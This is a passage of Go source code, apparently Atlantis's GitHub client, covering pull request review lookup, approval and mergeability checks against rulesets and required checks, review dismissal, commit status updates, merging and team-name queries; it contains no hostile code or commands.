allReviews []GithubReview\n\tfor {\n\t\terr := g.v4Client.Query(g.ctx, &query, variables)\n\t\tif err != nil {\n\t\t\treturn GithubPRReviewSummary{\n\t\t\t\tquery.Repository.PullRequest.ReviewDecision,\n\t\t\t\tallReviews,\n\t\t\t}, fmt.Errorf(\"getting reviewDecision: %w\", err)\n\t\t}\n\n\t\tallReviews = append(allReviews, query.Repository.PullRequest.Reviews.Nodes...)\n\t\t// if we don't have a NextPage pointer, we have requested all pages\n\t\tif !query.Repository.PullRequest.Reviews.PageInfo.HasNextPage {\n\t\t\tbreak\n\t\t}\n\t\t// set the end cursor, so the next batch of reviews is going to be requested and not the same again\n\t\tvariables[\"reviewCursor\"] = githubv4.NewString(query.Repository.PullRequest.Reviews.PageInfo.EndCursor)\n\t}\n\treturn GithubPRReviewSummary{\n\t\tquery.Repository.PullRequest.ReviewDecision,\n\t\tallReviews,\n\t}, nil\n}\n\n// PullIsApproved returns true if the pull request was approved.\nfunc (g *Client) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (approvalStatus models.ApprovalStatus, err error) {\n\tlogger.Debug(\"Checking if GitHub pull request %d is approved\", pull.Num)\n\tnextPage := 0\n\tfor {\n\t\topts := github.ListOptions{\n\t\t\tPerPage: 300,\n\t\t}\n\t\tif nextPage != 0 {\n\t\t\topts.Page = nextPage\n\t\t}\n\t\tpageReviews, resp, err := g.client.PullRequests.ListReviews(g.ctx, repo.Owner, repo.Name, pull.Num, &opts)\n\t\tif resp != nil {\n\t\t\tlogger.Debug(\"GET /repos/%v/%v/pulls/%d/reviews returned: %v\", repo.Owner, repo.Name, pull.Num, resp.StatusCode)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn approvalStatus, fmt.Errorf(\"getting reviews: %w\", err)\n\t\t}\n\t\tfor _, review := range pageReviews {\n\t\t\tif review != nil && review.GetState() == \"APPROVED\" {\n\t\t\t\treturn models.ApprovalStatus{\n\t\t\t\t\tIsApproved: true,\n\t\t\t\t\tApprovedBy: *review.User.Login,\n\t\t\t\t\tDate:       review.SubmittedAt.Time,\n\t\t\t\t}, nil\n\t\t\t}\n\t\t}\n\t\tif resp.NextPage == 0 {\n\t\t\tbreak\n\t\t}\n\t\tnextPage = resp.NextPage\n\t}\n\treturn approvalStatus, nil\n}\n\n// DiscardReviews dismisses all reviews on a pull request\nfunc (g *Client) DiscardReviews(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error {\n\tlogger.Debug(\"Discarding all reviews on GitHub pull request %d\", pull.Num)\n\treviewStatus, err := g.getPRReviews(repo, pull)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// https://docs.github.com/en/graphql/reference/input-objects#dismisspullrequestreviewinput\n\tvar mutation struct {\n\t\tDismissPullRequestReview struct {\n\t\t\tPullRequestReview struct {\n\t\t\t\tID githubv4.ID\n\t\t\t}\n\t\t} `graphql:\"dismissPullRequestReview(input: $input)\"`\n\t}\n\n\t// dismiss every review one by one.\n\t// currently there is no way to dismiss them in one mutation.\n\tfor _, review := range reviewStatus.Reviews {\n\t\tinput := githubv4.DismissPullRequestReviewInput{\n\t\t\tPullRequestReviewID: review.ID,\n\t\t\tMessage:             pullRequestDismissalMessage,\n\t\t\tClientMutationID:    clientMutationID,\n\t\t}\n\t\tmutationResult := &mutation\n\t\terr := g.v4Client.Mutate(g.ctx, mutationResult, input, nil)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"dismissing reviewDecision: %w\", err)\n\t\t}\n\t}\n\treturn nil\n}\n\ntype PageInfo struct {\n\tEndCursor   *githubv4.String\n\tHasNextPage githubv4.Boolean\n}\n\ntype WorkflowFileReference struct {\n\tPath         githubv4.String\n\tRepositoryId githubv4.Int\n\tSha          *githubv4.String\n}\n\nfunc (original WorkflowFileReference) Copy() WorkflowFileReference {\n\tcopy := WorkflowFileReference{\n\t\tPath:         original.Path,\n\t\tRepositoryId: original.RepositoryId,\n\t\tSha:          new(githubv4.String),\n\t}\n\tif original.Sha != nil {\n\t\t*copy.Sha = *original.Sha\n\t}\n\treturn copy\n}\n\ntype WorkflowRunFile struct {\n\tPath              githubv4.String\n\tRepositoryFileUrl githubv4.String\n\tRepositoryName    githubv4.String\n}\n\ntype WorkflowRun struct {\n\tFile      *WorkflowRunFile\n\tRunNumber githubv4.Int\n}\n\nfunc (original WorkflowRun) Copy() WorkflowRun {\n\tcopy := WorkflowRun{\n\t\tRunNumber: original.RunNumber,\n\t}\n\tif original.File != nil {\n\t\tfileCopy := *original.File\n\t\tcopy.File = &fileCopy\n\t}\n\treturn copy\n}\n\ntype CheckSuite struct {\n\tConclusion  githubv4.String\n\tWorkflowRun *WorkflowRun\n}\n\nfunc (original CheckSuite) Copy() CheckSuite {\n\tcopy := CheckSuite{\n\t\tConclusion: original.Conclusion,\n\t}\n\tif original.WorkflowRun != nil {\n\t\tworkflowRunCopy := original.WorkflowRun.Copy()\n\t\tcopy.WorkflowRun = &workflowRunCopy\n\t}\n\n\treturn copy\n}\n\ntype CheckRun struct {\n\tName       githubv4.String\n\tConclusion githubv4.String\n\t// Not currently used: GitHub API classifies as required if coming from ruleset, even when the ruleset is not enforced!\n\tIsRequired githubv4.Boolean `graphql:\"isRequired(pullRequestNumber: $number)\"`\n\tCheckSuite CheckSuite\n}\n\nfunc (original CheckRun) Copy() CheckRun {\n\tcopy := CheckRun{\n\t\tName:       original.Name,\n\t\tConclusion: original.Conclusion,\n\t\tIsRequired: original.IsRequired,\n\t\tCheckSuite: original.CheckSuite.Copy(),\n\t}\n\n\treturn copy\n}\n\ntype StatusContext struct {\n\tContext githubv4.String\n\tState   githubv4.String\n\t// Not currently used: GitHub API classifies as required if coming from ruleset, even when the ruleset is not enforced!\n\tIsRequired githubv4.Boolean `graphql:\"isRequired(pullRequestNumber: $number)\"`\n}\n\nfunc (g *Client) LookupRepoId(repo githubv4.String) (githubv4.Int, error) {\n\t// This function may get many calls for the same repo, and repo names are not often changed\n\t// Utilize caching to reduce the number of API calls to GitHub\n\tif repoId, ok := g.repoIdCache.Get(repo); ok {\n\t\treturn repoId, nil\n\t}\n\n\trepoSplit := strings.Split(string(repo), \"/\")\n\tif len(repoSplit) != 2 {\n\t\treturn githubv4.Int(0), fmt.Errorf(\"invalid repository name: %s\", repo)\n\t}\n\n\tvar query struct {\n\t\tRepository struct {\n\t\t\tDatabaseId githubv4.Int\n\t\t} `graphql:\"repository(owner: $owner, name: $name)\"`\n\t}\n\tvariables := map[string]any{\n\t\t\"owner\": githubv4.String(repoSplit[0]),\n\t\t\"name\":  githubv4.String(repoSplit[1]),\n\t}\n\n\terr := g.v4Client.Query(g.ctx, &query, variables)\n\n\tif err != nil {\n\t\treturn githubv4.Int(0), fmt.Errorf(\"getting repository id from GraphQL: %w\", err)\n\t}\n\n\tg.repoIdCache.Set(repo, query.Repository.DatabaseId)\n\n\treturn query.Repository.DatabaseId, nil\n}\n\nfunc (g *Client) WorkflowRunMatchesWorkflowFileReference(workflowRunFile WorkflowRunFile, workflowFileReference WorkflowFileReference) (bool, error) {\n\t// Unfortunately, the GitHub API doesn't expose the repositoryId for the WorkflowRunFile from the statusCheckRollup.\n\t// Conversely, it doesn't expose the repository name for the WorkflowFileReference from the RepositoryRuleConnection.\n\t// Therefore, a second query is required to lookup the association between repositoryId and repositoryName.\n\trepoId, err := g.LookupRepoId(workflowRunFile.RepositoryName)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tif repoId != workflowFileReference.RepositoryId || workflowRunFile.Path != workflowFileReference.Path {\n\t\treturn false, nil\n\t} else if workflowFileReference.Sha != nil {\n\t\treturn strings.Contains(string(workflowRunFile.RepositoryFileUrl), string(*workflowFileReference.Sha)), nil\n\t} else {\n\t\treturn true, nil\n\t}\n}\n\nfunc (g *Client) GetPullRequestMergeabilityInfo(\n\trepo models.Repo,\n\tpull *github.PullRequest,\n) (\n\treviewDecision githubv4.String,\n\trequiredChecks []githubv4.String,\n\trequiredWorkflows []WorkflowFileReference,\n\tcheckRuns []CheckRun,\n\tstatusContexts []StatusContext,\n\terr error,\n) {\n\tvar query struct {\n\t\tRepository struct {\n\t\t\tPullRequest struct {\n\t\t\t\tReviewDecision githubv4.String\n\t\t\t\tBaseRef        struct {\n\t\t\t\t\tBranchProtectionRule struct {\n\t\t\t\t\t\tRequiredStatusChecks []struct {\n\t\t\t\t\t\t\tContext githubv4.String\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tRules struct {\n\t\t\t\t\t\tPageInfo PageInfo\n\t\t\t\t\t\tNodes    []struct {\n\t\t\t\t\t\t\tType              githubv4.String\n\t\t\t\t\t\t\tRepositoryRuleset struct {\n\t\t\t\t\t\t\t\tEnforcement githubv4.String\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tParameters struct {\n\t\t\t\t\t\t\t\tRequiredStatusChecksParameters struct {\n\t\t\t\t\t\t\t\t\tRequiredStatusChecks []struct {\n\t\t\t\t\t\t\t\t\t\tContext githubv4.String\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t} `graphql:\"... on RequiredStatusChecksParameters\"`\n\t\t\t\t\t\t\t\tWorkflowsParameters struct {\n\t\t\t\t\t\t\t\t\tWorkflows []WorkflowFileReference\n\t\t\t\t\t\t\t\t} `graphql:\"... on WorkflowsParameters\"`\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} `graphql:\"rules(first: 100, after: $ruleCursor)\"`\n\t\t\t\t}\n\t\t\t\tCommits struct {\n\t\t\t\t\tNodes []struct {\n\t\t\t\t\t\tCommit struct {\n\t\t\t\t\t\t\tStatusCheckRollup struct {\n\t\t\t\t\t\t\t\tContexts struct {\n\t\t\t\t\t\t\t\t\tPageInfo PageInfo\n\t\t\t\t\t\t\t\t\tNodes    []struct {\n\t\t\t\t\t\t\t\t\t\tTypename      githubv4.String `graphql:\"__typename\"`\n\t\t\t\t\t\t\t\t\t\tCheckRun      CheckRun        `graphql:\"... on CheckRun\"`\n\t\t\t\t\t\t\t\t\t\tStatusContext StatusContext   `graphql:\"... on StatusContext\"`\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t} `graphql:\"contexts(first: 100, after: $contextCursor)\"`\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} `graphql:\"commits(last: 1)\"`\n\t\t\t} `graphql:\"pullRequest(number: $number)\"`\n\t\t} `graphql:\"repository(owner: $owner, name: $name)\"`\n\t}\n\n\tvariables := map[string]any{\n\t\t\"owner\":         githubv4.String(repo.Owner),\n\t\t\"name\":          githubv4.String(repo.Name),\n\t\t\"number\":        githubv4.Int(*pull.Number), // #nosec G115: integer overflow conversion int -> int32\n\t\t\"ruleCursor\":    (*githubv4.String)(nil),\n\t\t\"contextCursor\": (*githubv4.String)(nil),\n\t}\n\n\trequiredChecksSet := make(map[githubv4.String]any)\n\npagination:\n\tfor {\n\t\terr = g.v4Client.Query(g.ctx, &query, variables)\n\n\t\tif err != nil {\n\t\t\tbreak pagination\n\t\t}\n\n\t\treviewDecision = query.Repository.PullRequest.ReviewDecision\n\n\t\tfor _, rule := range query.Repository.PullRequest.BaseRef.BranchProtectionRule.RequiredStatusChecks {\n\t\t\trequiredChecksSet[rule.Context] = struct{}{}\n\t\t}\n\n\t\tfor _, rule := range query.Repository.PullRequest.BaseRef.Rules.Nodes {\n\t\t\tif rule.RepositoryRuleset.Enforcement != \"ACTIVE\" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tswitch rule.Type {\n\t\t\tcase \"REQUIRED_STATUS_CHECKS\":\n\t\t\t\tfor _, context := range rule.Parameters.RequiredStatusChecksParameters.RequiredStatusChecks {\n\t\t\t\t\trequiredChecksSet[context.Context] = struct{}{}\n\t\t\t\t}\n\t\t\tcase \"WORKFLOWS\":\n\t\t\t\tfor _, workflow := range rule.Parameters.WorkflowsParameters.Workflows {\n\t\t\t\t\trequiredWorkflows = append(requiredWorkflows, workflow.Copy())\n\t\t\t\t}\n\t\t\tdefault:\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\tif len(query.Repository.PullRequest.Commits.Nodes) == 0 {\n\t\t\terr = errors.New(\"no commits found on PR\")\n\t\t\tbreak pagination\n\t\t}\n\n\t\tfor _, context := range query.Repository.PullRequest.Commits.Nodes[0].Commit.StatusCheckRollup.Contexts.Nodes {\n\t\t\tswitch context.Typename {\n\t\t\tcase \"CheckRun\":\n\t\t\t\tcheckRuns = append(checkRuns, context.CheckRun.Copy())\n\t\t\tcase \"StatusContext\":\n\t\t\t\tstatusContexts = append(statusContexts, context.StatusContext)\n\t\t\tdefault:\n\t\t\t\terr = fmt.Errorf(\"unknown type of status check, %q\", context.Typename)\n\t\t\t\tbreak pagination\n\t\t\t}\n\t\t}\n\n\t\tif !query.Repository.PullRequest.BaseRef.Rules.PageInfo.HasNextPage &&\n\t\t\t!query.Repository.PullRequest.Commits.Nodes[0].Commit.StatusCheckRollup.Contexts.PageInfo.HasNextPage {\n\t\t\tbreak pagination\n\t\t}\n\n\t\tif query.Repository.PullRequest.BaseRef.Rules.PageInfo.EndCursor != nil {\n\t\t\tvariables[\"ruleCursor\"] = query.Repository.PullRequest.BaseRef.Rules.PageInfo.EndCursor\n\t\t}\n\t\tif query.Repository.PullRequest.Commits.Nodes[0].Commit.StatusCheckRollup.Contexts.PageInfo.EndCursor != nil {\n\t\t\tvariables[\"contextCursor\"] = query.Repository.PullRequest.Commits.Nodes[0].Commit.StatusCheckRollup.Contexts.PageInfo.EndCursor\n\t\t}\n\t}\n\n\tif err != nil {\n\t\treturn \"\", nil, nil, nil, nil, fmt.Errorf(\"fetching rulesets, branch protections and status checks from GraphQL: %w\", err)\n\t}\n\n\tfor context := range requiredChecksSet {\n\t\trequiredChecks = append(requiredChecks, context)\n\t}\n\n\treturn reviewDecision, requiredChecks, requiredWorkflows, checkRuns, statusContexts, nil\n}\n\nfunc CheckSuitePassed(checkSuite CheckSuite) bool {\n\treturn checkSuite.Conclusion == \"SUCCESS\" || checkSuite.Conclusion == \"SKIPPED\" || checkSuite.Conclusion == \"NEUTRAL\"\n}\n\nfunc CheckRunPassed(checkRun CheckRun) bool {\n\treturn checkRun.Conclusion == \"SUCCESS\" || checkRun.Conclusion == \"SKIPPED\" || checkRun.Conclusion == \"NEUTRAL\"\n}\n\nfunc StatusContextPassed(statusContext StatusContext, vcsstatusname string) bool {\n\treturn statusContext.State == \"SUCCESS\"\n}\n\nfunc ExpectedCheckPassed(expectedContext githubv4.String, checkRuns []CheckRun, statusContexts []StatusContext, vcsstatusname string) bool {\n\t// If there's no WorkflowRun, we assume there's only one CheckRun with the given name.\n\t// In this case, we evaluate and return the status of this CheckRun.\n\t// If there is WorkflowRun, we assume there can be multiple checkRuns with the given name,\n\t// so we retrieve the latest checkRun and evaluate and return the status of the latest CheckRun.\n\tlatestCheckRunNumber := githubv4.Int(-1)\n\tvar latestCheckRun *CheckRun\n\tfor _, checkRun := range checkRuns {\n\t\tif checkRun.Name != expectedContext {\n\t\t\tcontinue\n\t\t}\n\t\tif checkRun.CheckSuite.WorkflowRun == nil {\n\t\t\treturn CheckRunPassed(checkRun)\n\t\t}\n\t\tif checkRun.CheckSuite.WorkflowRun.RunNumber > latestCheckRunNumber {\n\t\t\tlatestCheckRunNumber = checkRun.CheckSuite.WorkflowRun.RunNumber\n\t\t\tlatestCheckRun = &checkRun\n\t\t}\n\t}\n\n\tif latestCheckRun != nil {\n\t\treturn CheckRunPassed(*latestCheckRun)\n\t}\n\n\tfor _, statusContext := range statusContexts {\n\t\tif statusContext.Context == expectedContext {\n\t\t\treturn StatusContextPassed(statusContext, vcsstatusname)\n\t\t}\n\t}\n\n\treturn false\n}\n\nfunc (g *Client) ExpectedWorkflowPassed(expectedWorkflow WorkflowFileReference, checkRuns []CheckRun) (bool, error) {\n\t// If there's no WorkflowRun, we just skip evaluation for given CheckSuite.\n\t// If there is WorkflowRun, we assume there can be multiple checkSuites with the given name,\n\t// so we retrieve the latest checkRun and evaluate and return the status of the latest CheckSuite.\n\tlatestCheckSuiteNumber := githubv4.Int(-1)\n\tvar latestCheckSuite *CheckSuite\n\tfor _, checkRun := range checkRuns {\n\t\tif checkRun.CheckSuite.WorkflowRun == nil || checkRun.CheckSuite.WorkflowRun.File == nil {\n\t\t\tcontinue\n\t\t}\n\t\tmatch, err := g.WorkflowRunMatchesWorkflowFileReference(*checkRun.CheckSuite.WorkflowRun.File, expectedWorkflow)\n\t\tif err != nil {\n\t\t\treturn false, err\n\t\t}\n\t\tif match {\n\t\t\tif checkRun.CheckSuite.WorkflowRun.RunNumber > latestCheckSuiteNumber {\n\t\t\t\tlatestCheckSuiteNumber = checkRun.CheckSuite.WorkflowRun.RunNumber\n\t\t\t\tlatestCheckSuite = &checkRun.CheckSuite\n\t\t\t}\n\t\t}\n\t}\n\n\tif latestCheckSuite != nil {\n\t\treturn CheckSuitePassed(*latestCheckSuite), nil\n\t}\n\n\treturn false, nil\n}\n\n// IsMergeableMinusApply checks review decision (which takes into account CODEOWNERS) and required checks for PR (excluding the atlantis apply check).\nfunc (g *Client) IsMergeableMinusApply(logger logging.SimpleLogging, repo models.Repo, pull *github.PullRequest, vcsstatusname string, ignoreVCSStatusNames []string) (bool, error) {\n\tif pull.Number == nil {\n\t\treturn false, errors.New(\"pull request number is nil\")\n\t}\n\treviewDecision, requiredChecks, requiredWorkflows, checkRuns, statusContexts, err := g.GetPullRequestMergeabilityInfo(repo, pull)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tnotMergeablePrefix := fmt.Sprintf(\"Pull Request %s/%s:%s is not mergeable\", repo.Owner, repo.Name, strconv.Itoa(*pull.Number))\n\n\t// Review decision takes CODEOWNERS into account\n\t// Empty review decision means review is not required\n\tif reviewDecision != \"APPROVED\" && len(reviewDecision) != 0 {\n\t\tlogger.Debug(\"%s: Review Decision: %s\", notMergeablePrefix, reviewDecision)\n\t\treturn false, nil\n\t}\n\n\t// The statusCheckRollup does not always contain all required checks\n\t// For example, if a check was made required after the pull request was opened, it would be missing\n\t// Go through all checks and workflows required by branch protection or rulesets\n\t// Make sure that they can all be found in the statusCheckRollup and that they all pass\n\tfor _, requiredCheck := range requiredChecks {\n\t\tif strings.HasPrefix(string(requiredCheck), fmt.Sprintf(\"%s/%s\", vcsstatusname, command.Apply.String())) {\n\t\t\t// Ignore atlantis apply check(s)\n\t\t\tcontinue\n\t\t}\n\t\tif !slices.Contains(ignoreVCSStatusNames, GetVCSStatusNameFromRequiredCheck(requiredCheck)) && !ExpectedCheckPassed(requiredCheck, checkRuns, statusContexts, vcsstatusname) {\n\t\t\tlogger.Debug(\"%s: Expected Required Check: %s VCS Status Name: %s Ignore VCS Status Names: %s\", notMergeablePrefix, requiredCheck, vcsstatusname, ignoreVCSStatusNames)\n\t\t\treturn false, nil\n\t\t}\n\t}\n\tfor _, requiredWorkflow := range requiredWorkflows {\n\t\tpassed, err := g.ExpectedWorkflowPassed(requiredWorkflow, checkRuns)\n\t\tif err != nil {\n\t\t\treturn false, err\n\t\t}\n\t\tif !passed {\n\t\t\tlogger.Debug(\"%s: Expected Required Workflow: RepositoryId: %d Path: %s\", notMergeablePrefix, requiredWorkflow.RepositoryId, requiredWorkflow.Path)\n\t\t\treturn false, nil\n\t\t}\n\t}\n\n\treturn true, nil\n}\n\nfunc GetVCSStatusNameFromRequiredCheck(requiredCheck githubv4.String) string {\n\treturn strings.Split(string(requiredCheck), \"/\")[0]\n}\n\n// PullIsMergeable returns true if the pull request is mergeable.\nfunc (g *Client) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, vcsstatusname string, ignoreVCSStatusNames []string) (models.MergeableStatus, error) {\n\tlogger.Debug(\"Checking if GitHub pull request %d is mergeable\", pull.Num)\n\tgithubPR, err := g.GetPullRequest(logger, repo, pull.Num)\n\tif err != nil {\n\t\treturn models.MergeableStatus{}, fmt.Errorf(\"getting pull request: %w\", err)\n\t}\n\n\t// We map our mergeable check to when the GitHub merge button is clickable.\n\t// This corresponds to when the PR is not a draft and has one of the following states:\n\t// clean: No conflicts, all requirements satisfied.\n\t//        Merging is allowed (green box).\n\t// unstable: Failing/pending commit status that is not part of the required\n\t//           status checks. Merging is allowed (yellow box).\n\t// has_hooks: GitHub Enterprise only, if a repo has custom pre-receive\n\t//            hooks. Merging is allowed (green box).\n\t// See: https://github.com/octokit/octokit.net/issues/1763\n\tif githubPR.GetDraft() {\n\t\treturn models.MergeableStatus{\n\t\t\tIsMergeable: false,\n\t\t\tReason:      \"PR is a draft\",\n\t\t}, nil\n\t}\n\tstate := githubPR.GetMergeableState()\n\tif state == \"\" {\n\t\tstate = \"<unknown>\"\n\t}\n\tswitch state {\n\tcase \"clean\", \"unstable\", \"has_hooks\":\n\t\treturn models.MergeableStatus{\n\t\t\tIsMergeable: true,\n\t\t}, nil\n\tcase \"blocked\":\n\t\tif g.config.AllowMergeableBypassApply {\n\t\t\tlogger.Debug(\"AllowMergeableBypassApply feature flag is enabled - attempting to bypass apply from mergeable requirements\")\n\t\t\tisMergeableMinusApply, err := g.IsMergeableMinusApply(logger, repo, githubPR, vcsstatusname, ignoreVCSStatusNames)\n\t\t\tif err != nil {\n\t\t\t\treturn models.MergeableStatus{}, fmt.Errorf(\"getting pull request status: %w\", err)\n\t\t\t}\n\t\t\tif isMergeableMinusApply {\n\t\t\t\treturn models.MergeableStatus{\n\t\t\t\t\tIsMergeable: true,\n\t\t\t\t}, nil\n\t\t\t}\n\t\t\treturn models.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"PR is in state blocked, and cannot bypass mergeable requirements\",\n\t\t\t}, nil\n\t\t}\n\t\treturn models.MergeableStatus{\n\t\t\tIsMergeable: false,\n\t\t\tReason:      \"PR is in state blocked\",\n\t\t}, nil\n\tdefault:\n\t\treturn models.MergeableStatus{\n\t\t\tIsMergeable: false,\n\t\t\tReason:      fmt.Sprintf(\"PR is in state %s\", state),\n\t\t}, nil\n\t}\n}\n\n// GetPullRequest returns the pull request.\nfunc (g *Client) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, num int) (*github.PullRequest, error) {\n\tlogger.Debug(\"Getting GitHub pull request %d\", num)\n\tvar err error\n\tvar pull *github.PullRequest\n\n\t// GitHub has started to return 404's here (#1019) even after they send the webhook.\n\t// They've got some eventual consistency issues going on so we're just going\n\t// to attempt up to 5 times with exponential backoff.\n\tmaxAttempts := 5\n\tattemptDelay := 0 * time.Second\n\tfor range maxAttempts {\n\t\t// First don't sleep, then sleep 1, 3, 7, etc.\n\t\ttime.Sleep(attemptDelay)\n\t\tattemptDelay = 2*attemptDelay + 1*time.Second\n\n\t\tpull, resp, err := g.client.PullRequests.Get(g.ctx, repo.Owner, repo.Name, num)\n\t\tif resp != nil {\n\t\t\tlogger.Debug(\"GET /repos/%v/%v/pulls/%d returned: %v\", repo.Owner, repo.Name, num, resp.StatusCode)\n\t\t}\n\t\tif err == nil {\n\t\t\treturn pull, nil\n\t\t}\n\t\tghErr, ok := err.(*github.ErrorResponse)\n\t\tif !ok || ghErr.Response.StatusCode != 404 {\n\t\t\treturn pull, err\n\t\t}\n\t}\n\treturn pull, err\n}\n\n// UpdateStatus updates the status badge on the pull request.\n// See https://github.com/blog/1227-commit-status-api.\nfunc (g *Client) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error {\n\tghState := \"error\"\n\tswitch state {\n\tcase models.PendingCommitStatus:\n\t\tghState = \"pending\"\n\tcase models.SuccessCommitStatus:\n\t\tghState = \"success\"\n\tcase models.FailedCommitStatus:\n\t\tghState = \"failure\"\n\t}\n\n\tlogger.Info(\"Updating GitHub Check status for '%s' to '%s'\", src, ghState)\n\n\tstatus := github.RepoStatus{\n\t\tState:       github.Ptr(ghState),\n\t\tDescription: github.Ptr(description),\n\t\tContext:     github.Ptr(src),\n\t\tTargetURL:   &url,\n\t}\n\t_, resp, err := g.client.Repositories.CreateStatus(g.ctx, repo.Owner, repo.Name, pull.HeadCommit, status)\n\tif resp != nil {\n\t\tlogger.Debug(\"POST /repos/%v/%v/statuses/%s returned: %v\", repo.Owner, repo.Name, pull.HeadCommit, resp.StatusCode)\n\t}\n\treturn err\n}\n\n// MergePull merges the pull request.\nfunc (g *Client) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error {\n\tlogger.Debug(\"Merging GitHub pull request %d\", pull.Num)\n\t// Users can set their repo to disallow certain types of merging.\n\t// We detect which types aren't allowed and use the type that is.\n\trepo, resp, err := g.client.Repositories.Get(g.ctx, pull.BaseRepo.Owner, pull.BaseRepo.Name)\n\tif resp != nil {\n\t\tlogger.Debug(\"GET /repos/%v/%v returned: %v\", pull.BaseRepo.Owner, pull.BaseRepo.Name, resp.StatusCode)\n\t}\n\tif err != nil {\n\t\treturn fmt.Errorf(\"fetching repo info: %w\", err)\n\t}\n\n\tconst (\n\t\tdefaultMergeMethod = \"merge\"\n\t\trebaseMergeMethod  = \"rebase\"\n\t\tsquashMergeMethod  = \"squash\"\n\t)\n\n\tmergeMethodsAllow := map[string]func() bool{\n\t\tdefaultMergeMethod: repo.GetAllowMergeCommit,\n\t\trebaseMergeMethod:  repo.GetAllowRebaseMerge,\n\t\tsquashMergeMethod:  repo.GetAllowSquashMerge,\n\t}\n\n\tmergeMethodsName := slices.Collect(maps.Keys(mergeMethodsAllow))\n\tsort.Strings(mergeMethodsName)\n\n\tvar method string\n\tif pullOptions.MergeMethod != \"\" {\n\t\tmethod = pullOptions.MergeMethod\n\n\t\tisMethodAllowed, isMethodExist := mergeMethodsAllow[method]\n\t\tif !isMethodExist {\n\t\t\treturn fmt.Errorf(\"merge method '%s' is unknown. Specify one of the valid values: '%s'\", method, strings.Join(mergeMethodsName, \", \"))\n\t\t}\n\n\t\tif !isMethodAllowed() {\n\t\t\treturn fmt.Errorf(\"merge method '%s' is not allowed by the repository Pull Request settings\", method)\n\t\t}\n\t} else {\n\t\tmethod = defaultMergeMethod\n\t\tif !repo.GetAllowMergeCommit() {\n\t\t\tif repo.GetAllowRebaseMerge() {\n\t\t\t\tmethod = rebaseMergeMethod\n\t\t\t} else if repo.GetAllowSquashMerge() {\n\t\t\t\tmethod = squashMergeMethod\n\t\t\t}\n\t\t}\n\t}\n\n\t// Now we're ready to make our API call to merge the pull request.\n\toptions := &github.PullRequestOptions{\n\t\tMergeMethod: method,\n\t}\n\tlogger.Debug(\"PUT /repos/%v/%v/pulls/%d/merge\", repo.Owner, repo.Name, pull.Num)\n\tmergeResult, resp, err := g.client.PullRequests.Merge(\n\t\tg.ctx,\n\t\tpull.BaseRepo.Owner,\n\t\tpull.BaseRepo.Name,\n\t\tpull.Num,\n\t\t// NOTE: Using the empty string here causes GitHub to autogenerate\n\t\t// the commit message as it normally would.\n\t\t\"\",\n\t\toptions)\n\tif resp != nil {\n\t\tlogger.Debug(\"POST /repos/%v/%v/pulls/%d/merge returned: %v\", repo.Owner, repo.Name, pull.Num, resp.StatusCode)\n\t}\n\tif err != nil {\n\t\treturn fmt.Errorf(\"merging pull request: %w\", err)\n\t}\n\tif !mergeResult.GetMerged() {\n\t\treturn fmt.Errorf(\"could not merge pull request: %s\", mergeResult.GetMessage())\n\t}\n\treturn nil\n}\n\n// MarkdownPullLink specifies the string used in a pull request comment to reference another pull request.\nfunc (g *Client) MarkdownPullLink(pull models.PullRequest) (string, error) {\n\treturn fmt.Sprintf(\"#%d\", pull.Num), nil\n}\n\n// GetTeamNamesForUser returns the names of the teams or groups that the user belongs to (in the organization the repository belongs to).\n// https://docs.github.com/en/graphql/reference/objects#organization\nfunc (g *Client) GetTeamNamesForUser(logger logging.SimpleLogging, repo models.Repo, user models.User) ([]string, error) {\n\tlogger.Debug(\"Getting GitHub team names for user '%s'\", user)\n\torgName := repo.Owner\n\tvariables := map[string]any{\n\t\t\"orgName\":    githubv4.String(orgName),\n\t\t\"userLogins\": []githubv4.String{githubv4.String(user.Username)},\n\t\t\"teamCursor\": (*githubv4.String)(nil),\n\t}\n\tvar q struct {\n\t\tOrganization struct {\n\t\t\tTeams struct {\n\t\t\t\tEdges []struct {\n\t\t\t\t\tNode struct {\n\t\t\t\t\t\tName string\n\t\t\t\t\t\tSlug string\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tPageInfo struct {\n\t\t\t\t\tEndCursor   githubv4.String\n\t\t\t\t\tHasNextPage bool\n\t\t\t\t}\n\t\t\t} `graphql:\"teams(first:100, after: $teamCursor, userLogins: $userLogins)\"`\n\t\t} `graphql:\"organization(login: $orgName)\"`\n\t}\n\tvar teamNames []string\n\tctx := context.Background()\n\tfor {\n\t\terr := g.v4Client.Query(ctx, &q, variables)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor _, edge := range q.Organization.Teams.Edges {\n\t\t\tteamNames = append(teamNames, edge.Node.Slug)\n\t\t}\n\t\tif !q.Organization.Teams.PageInfo.HasNextPage {\n\t\t\tbreak\n\t\t}\n\t\tvariables[\"teamCursor\"] = githubv4.NewString(q.Organization.Teams.PageInfo.EndCursor)\n\t}\n\treturn teamNames, nil\n}\n\n// ExchangeCode returns a newly created app's info\nfunc (g *Client) ExchangeCode(logger logging.SimpleLogging, code string) (*GithubAppTemporarySecrets, error) {\n\tlogger.Debug(\"Exchanging code for app secrets\")\n\tctx := context.Background()\n\tcfg, resp, err := g.client.Apps.CompleteAppManifest(ctx, code)\n\tif resp != nil {\n\t\tlogger.Debug(\"POST 